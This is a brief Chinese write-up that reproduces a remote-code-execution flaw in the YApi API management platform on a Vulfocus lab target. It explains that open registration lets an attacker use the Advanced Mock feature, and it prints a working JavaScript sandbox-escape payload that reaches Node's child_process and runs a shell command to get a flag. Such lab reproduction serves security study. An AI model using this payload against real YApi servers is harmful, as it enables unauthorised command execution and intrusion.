API接口管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。 YApi 是高效、易用、功能强大的 api 管理平台。但因为大量用户使用 YAPI的默认配置并允许从外部网络访问 YApi服务,导致攻击者注册用户后,即可通过 Mock功能远程执行任意代码。

漏洞复现

使用Vulfocus搭建的靶机

注册一个账户,并创建一个接口

高级Mock中填写如下脚本

const ObjectConstructor = this.constructor 
const FunctionConstructor = ObjectConstructor.constructor 
const myfun = FunctionConstructor('return process') 
const process = myfun() 
mockJson = process.mainModule.require("child_process").execSync("ls /tmp").toString()


访问接口发现命令被成功执行,得到flag